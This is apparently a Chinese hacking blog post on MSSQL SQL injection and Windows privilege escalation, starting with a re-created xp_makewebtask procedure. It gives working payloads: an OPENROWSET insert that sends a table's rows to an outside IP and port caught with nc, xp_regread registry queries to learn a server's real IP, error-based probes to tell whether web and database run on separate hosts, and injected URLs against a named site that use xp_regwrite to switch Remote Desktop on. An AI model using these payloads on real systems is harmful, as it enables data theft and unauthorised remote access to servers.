@reftext  nvarchar(255) = NULL,  
@table_urls  tinyint = 0,    -- 0/1; 1=use table of URLs   
@url_query  nvarchar(255) = NULL,     
@whentype  tinyint = 1,    -- 1=now, 2=later, 3=every xday   
           -- 4=every n units of time   
@targetdate  int = 0,     -- yyyymmdd as int  
@targettime  int = 0,     -- hhnnss as int  
@dayflags  tinyint = 1,    -- powers of 2 for days of week   
@numunits  tinyint = 1,  
@unittype  tinyint = 1,    -- 1=hours, 2=days, 3=weeks, 4=minutes  
@procname  nvarchar(128) = NULL,  -- name to use when making the  
           -- task and the wrapper/condenser  
           -- stored procs  
@maketask  int = 2,     -- 0=create unencrypted sproc, no task  
           -- 1=encrypted sproc and task  
           -- 2=unencrypted sproc and task  
@rowcnt   int = 0,     -- max no of rows to display  
@tabborder  tinyint = 1,    -- borders around the results table  
@singlerow  tinyint = 0,    -- Single row per page  
@blobfmt  ntext = NULL,    -- Formatting for text and image fields  
@nrowsperpage int = 0,     -- Results displayed in multiple pages of n rows per page  
@datachg  ntext = NULL,    -- Table and column names for a trigger  
[url=https://www.t00ls.net/space-uid-6974.html]@charset[/url]  nvarchar(25) = N'utf-8', -- Universal character set is the default  
@codepage  int = 65001     -- utf-8 (universal) code page is the default  

AS  
BEGIN  

   DECLARE @suid smallint  
   DECLARE @yearchar nvarchar(4)  
   DECLARE @monthchar nvarchar(2)  
   DECLARE @daychar nvarchar(2)  
   DECLARE @hourchar nvarchar(2)  
   DECLARE @minchar nvarchar(2)  
   DECLARE @secchar nvarchar(2)  
   DECLARE @currdate datetime  
   DECLARE  @retval int  

-- Check for valid @dbname if supplied  
   IF (@dbname is NOT NULL)  
      IF (NOT(exists(SELECT * FROM master..sysdatabases WHERE name = @dbname)))  
      BEGIN  
   RAISERROR(16854,11,1)  
         RETURN (9)  
      END  

-- Make sure that it's the SA executing this.  
   IF ( NOT ( is_srvrolemember('sysadmin') = 1 ) )  
   BEGIN  
      RAISERROR( 15003, -1, -1, 'sysadmin' )  
      RETURN(1)   
   END  

-- IF not supplied, determine the user executing this procedure  
   IF (@username is NULL)  
   BEGIN  
       SET @username = suser_sname()  

       IF ( (charindex ('\',@username) > 0) OR (@username is NULL) OR (@username = 'sa') )  
       BEGIN  
           SELECT @username = N'dbo'  
       END  
   END  

-- If not supplied, determine the database currently active  
   IF (@dbname is NULL)  
   BEGIN  
   SELECT @dbname = d.name FROM  
    master..sysdatabases d, master..sysprocesses p  
    WHERE d.dbid = p.dbid AND spid = @@spid  

   END  

-- Generate @procname if not supplied  
   IF (@procname is NULL)  
      BEGIN  

         SET @currdate = getdate()  

   SET @yearchar = convert(nvarchar(4),year(@currdate))  
         SET @monthchar = right('0'+ rtrim(convert(nvarchar(2),month(@currdate))),2)  
         SET @daychar = right('0'+rtrim(convert(nvarchar(2),day(@currdate))),2)  
         SET @hourchar = right('0'+rtrim(convert(nvarchar(2),datepart(hh,@currdate))),2)  
         SET @minchar = right('0'+rtrim(convert(nvarchar(2),datepart(mi,@currdate))),2)  
         SET @secchar = right('0'+rtrim(convert(nvarchar(2),datepart(ss,@currdate))),2)  

   -- Get default procname if not supplied  
         SET @procname = N'web_'+convert(nchar(14),@yearchar+@monthchar+@daychar+@hourchar+@minchar+@secchar)+convert(nvarchar(20),@@spid)+right(rtrim(convert( VARCHAR(25),RAND() )),4)  

      END  

   SET @retval = 0  

-- Create the Web task  
   EXECUTE @retval = sys.xp_makewebtask  @outputfile, @query, @username, @procname, @dbname,  
     @fixedfont, @bold, @italic, @colheaders, @lastupdated, @HTMLheader,  
     @templatefile, @webpagetitle, @resultstitle, @URL, @reftext,  
     @table_urls, @url_query, @whentype, @targetdate, @targettime,  
     @dayflags, @numunits, @unittype, @rowcnt, @maketask, @tabborder,  
     @singlerow, @blobfmt, @nrowsperpage, @datachg, [url=https://www.t00ls.net/space-uid-6974.html]@charset[/url], @codepage  

 IF (@retval <> 0)  
 BEGIN  
     SET @procname = 'xp_makewebtask'  
     RAISERROR(@retval, 11, 1, @procname)  
 END  

   RETURN @retval  

END

其实opendatasource是取数据用的,如果你想得到数据库的IP,根本不需要MSSQL环境就可以得到DATA的IP

用如下语句:
insert into OPENROWSET('SQLOLEDB','uid=test;pwd=test;Network=DBMSSOCN;Address=219.152.120.157,555;', 'select * from dest_table') select * from src_table;--

然后在本机用NC监听8787端口就可以了

另外,用opendatasource取数据的时候要考虑本机带宽等问题!

利用OPENROWSET这个函数也可以拿到数据 并不单单拿到data的IP

关于利用注射点判断数据库web是否分离2009-04-25 13:11来自:皇子  

   xp/2003系统下注册表里有个键值可以得到真实的ip地址
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\{FBD72F8D-6334-4739-957A-7D324D9C27EF}\Parameters\Tcpip
,在注册表的窗口右边就可发现“IPAddress”、“DefaultGateway”、“SubnetMask”等键值,它们分别对应本机当前配置的IP地址、网关及子网掩码等信息
我们用opendatasource反弹出来的ip始终都是公网ip
即使得到的数据库ip和webip一样   也不能断定数据库web不分离
我可以先建立一个表,把注册表里的真实ip写进去,然后如果是个公网ip而且和反弹结果一样 则断定是数据库web不分离 如果是个内网ip 则观望状态。
具体代码:
insert ku exec master..xp_instance_regenumkeys 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\' 
把网卡id写进表ku 中,然后用各种手法读出来,
exec master..xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\{4733C3BB-EC77-4AB4-A6EA-02DB07FD7CFD}\Parameters\Tcpip'                  
看看tcpip项下有几个小项

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\{4733C3BB-EC77-4AB4-A6EA-02DB07FD7CFD}\Parameters\Tcpip','ipaddress'

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\{4733C3BB-EC77-4AB4-A6EA-02DB07FD7CFD}\Parameters\Tcpip','DefaultGateway'
然后读出每个属性,就知道ip网关了

但是实际操作的时候其实有很多问题,除了xp_regread,上面2个存储过程都是要求sa来调用的,这下还不如直接直接命令然后看结果来的方便简单了,不过难得研究出来了就放这吧,有点鸡肋了.
幸好200(sql2005_inj的作者)给予了一个方案,可以更简洁:
select host_name();得到客户端主机名
select @@servername;得到服务端主机名 
暴错时 and host_name()>0--
不暴时配合union all select
或者全部opdatasource反弹回来,查看结果一样就是不分离,不一样的话就是分离 

开启3389的SQL语句: 
syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;-- 

关闭3389的SQL语句: 
syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
标签:Windows提权
温馨提示:本文最后更新于2018年10月23日 23:44,若内容或图片失效,请在下方留言或联系博主。
评论
博主关闭了评论